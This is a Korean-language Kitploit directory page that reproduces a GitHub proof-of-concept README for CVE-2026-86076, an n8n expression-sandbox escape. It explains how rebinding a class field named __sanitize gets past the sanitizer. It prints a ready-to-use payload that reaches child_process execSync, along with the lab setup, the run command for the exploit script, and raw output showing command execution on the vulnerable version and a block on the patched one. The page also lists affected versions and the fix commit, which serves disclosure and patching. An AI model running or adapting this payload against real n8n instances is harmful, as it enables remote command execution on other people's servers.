Skip to content
KitploitKITPLOIT
도구익스플로잇블로그
Log in
제출
도구익스플로잇블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

피드문의개인정보© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-86076-PoC — CVE-2026-86076 — 클래스 필드 __sanitize 재바인딩을 통한 n8n 표현식 샌드박스 탈출(백엔드 RCE). v2.37.6(uid=node) / v2.37.7 검증됨. | Kitploit
도구/GitHubGitHub/boreas37/cve-2026-86076-poc
Vulnerability AnalysisExploitationWeb Application ExploitationRemote Access ToolPayload Development
GitHubboreas37/cve-2026-86076-poc

CVE-2026-86076-PoC

CVE-2026-86076 — 클래스 필드 __sanitize 재바인딩을 통한 n8n 표현식 샌드박스 탈출(백엔드 RCE). v2.37.6(uid=node) / v2.37.7 검증됨.

저장소 보기
111211일 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-86076 — 클래스 필드 새니타이저 재바인딩을 통한 n8n 표현식 샌드박스 탈출

n8n 백엔드 프로세스에서 인증된(워크플로 편집) 코드 실행. 표현식 컴파일러는 모든 계산된 멤버 접근에 대해 this.__sanitize(key)를 주입하는데, __sanitize라는 이름의 클래스 필드가 클래스 본문의 나머지 부분에서 해당 새니타이저를 다시 바인딩하여 constructor가 통과되도록 하고, 실제 Function 생성자에 도달하게 되어 → process.mainModule.require('child_process')에 이르게 된다.

  • CVSS 8.8 — AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
  • 영향 받는 버전: < 1.123.76, >= 2.0.0 < 2.37.7, >= 2.38.0 < 2.38.2
  • 수정된 버전: 1.123.76 / 2.37.7 / 2.38.2
  • 수정 커밋: 184584828610 ("chore: Bundle 2.x (backport to release-candidate/2.37.x)", #37588) → packages/workflow/src/expression-sandboxing.ts (visitClassBody가 예약된 멤버 이름을 거부함) 및 packages/@n8n/tournament/src/ExpressionBuilder.ts (___n8n_data가 이제 this 대신 렉시컬 바인딩이 됨).

근본 원인

PrototypeSanitizer(AST 이후 훅)는 다음을 재작성한다

[]['constr' + 'uctor']        →   [][this.__sanitize('constr' + 'uctor')]

dataNode는 표현식의 데이터 객체입니다. 표현식에 함수 리터럴이 없는 경우, dataNode는 어휘적 ___n8n_data가 아니라 this로 출력되었습니다:

// packages/@n8n/tournament/src/ExpressionBuilder.ts (2.37.6)
let dataNode = b.thisExpression();
if (hasFn) { dataNode = b.identifier(dataNodeName); ... }

클래스 필드 초기화자 내부에서 this는 인스턴스이므로, __sanitize라는 이름의 필드가 새니타이저 호출을 가로챕니다. 통과 역할을 하는 대체물이면 충분합니다 — [].concat.bind([])는 ['constructor']를 반환하고, obj[['constructor']]는 키 constructor로 강제 변환됩니다:

(new (class {
   __sanitize = [].concat.bind([]);
   x = []['constr'+'uctor']['constr'+'uctor']('return process')()
        ['main'+'Module']['requ'+'ire'](https://github.com/boreas37/cve-2026-86076-poc/blob/master/%27child_process%27)['exec'+'Sync'](https://github.com/boreas37/cve-2026-86076-poc/blob/master/%27id%27).toString()
})).x

방출된 코드(실제 컴파일러로 컨테이너 내에서 검증됨):

return (new (class { __sanitize = [].concat.bind([]); x = [][this.__sanitize("constr"+"uctor")][this.__sanitize("constr"+"uctor")](...

패치 이전에는 __sanitize라는 클래스 멤버를 거부하는 것이 아무것도 없었습니다 (RESERVED_VARIABLE_NAMES는 바인딩된 식별자에 대해서만 검사되었습니다).

엔진 참고 사항 (중요)

페이로드는 인프로세스 표현식 엔진이 필요합니다:

environment:
  - N8N_EXPRESSION_ENGINE=legacy

기본 vm 엔진에서는 동일한 표현식이 여전히 AST 새니타이저를 우회하지만([]['constr'+'uctor']는 더 이상 차단되지 않음 — 검증됨), 코드는 process.mainModule이 없는 isolated-vm 아이솔레이트 내부에서 실행되므로 호스트 코드 실행은 발생하지 않습니다. 2.37.7은 두 엔진 모두에서 해당 표현식을 거부합니다.

Lab

cd ~/projects/poc-labs/n8n
docker compose -p poc-n8n-cve86076      -f docker-compose.2376.yml up -d   # n8nio/n8n:2.37.6  -> :20002
docker compose -p poc-n8n-cve86076-fix  -f docker-compose.2377.yml up -d   # n8nio/n8n:2.37.7  -> :20003

두 파일 모두 N8N_EXPRESSION_ENGINE=legacy, SQLite, 바인드 마운트된 ./data-*를 고정합니다. PoC는 소유자 계정을 직접 생성합니다(POST /rest/owner/setup + /rest/login).

실행

python3 n8n_poc.py --url http://127.0.0.1:20002 \
  --command 'id; touch /tmp/PWNED_86076; ls -l /tmp/PWNED_86076'

취약 — n8nio/n8n:2.37.6 (run_vulnerable_2.37.6.txt)

[*] target   : http://127.0.0.1:20002
[*] version  : undisclosed
[*] auth     : logged in as [email protected]
[*] payload  : (new (class { __sanitize = [].concat.bind([]); x = []["constr"+"uctor"]["constr"+"uctor"]("return process")()["main"+"Module"]["requ"+"ire"](https://github.com/boreas37/cve-2026-86076-poc/blob/master/%22child_process%22)["exec"+"Sync"]("id; touch /tmp/PWNED_86076; ls -l /tmp/PWNED_86076").toString() })).x
[*] workflow : fzbEEvoS4e1Y96wB
[*] execution: 11
[+] command output:
    uid=1000(node) gid=1000(node) groups=1000(node)
    -rw-r--r--    1 node     node             0 Oct 24 13:38 /tmp/PWNED_86076
=> PASS (CVE-2026-86076: command executed as the n8n process user)
exit=0

컨테이너에서 다시 읽어온 부작용(side_effect_2.37.6.txt):

-rw-r--r--    1 node     node             0 Oct 24 13:38 /tmp/PWNED_86076
uid=1000(node) gid=1000(node) groups=1000(node)

패치됨 — n8nio/n8n:2.37.7 (run_patched_2.37.7.txt)

[*] target   : http://127.0.0.1:20003
[*] auth     : logged in as [email protected]
[*] payload  : (new (class { __sanitize = [].concat.bind([]); ...
[*] workflow : L4394ZmScoegIFnf
[*] execution: 4
[!] no code execution: Cannot use "__sanitize" due to security concerns
=> FAIL (CVE-2026-86076: expression blocked or produced no output)
exit=1
$ docker exec n8n-vuln-2377 ls -l /tmp/PWNED_86076
ls: /tmp/PWNED_86076: No such file or directory

증거 채널

명령의 stdout은 execSync(...).toString()에 의해 Set 노드의 값으로 반환되며, GET /rest/executions/<id>?includeData=true에서 다시 읽어옵니다(n8n의 "flatted" 페이로드로, 스크립트에서 디코딩됨). 디스크 상의 부작용(/tmp/PWNED_86076)은 추가로 docker exec를 통해 확인되었습니다.

파일

파일내용
n8n_poc.py표준 라이브러리만 사용하는 PoC (--url --email --password --command --cve --output)
run_vulnerable_2.37.6.txt, run_patched_2.37.7.txt원시 실행 기록
evidence_vulnerable_2.37.6.json, evidence_patched_2.37.7.jsonJSON 증거
side_effect_2.37.6.txt, side_effect_2.37.7.txt컨테이너 측 확인
docker_logs_2.37.6.txt, docker_logs_2.37.7.txt컨테이너 로그
도구 다운로드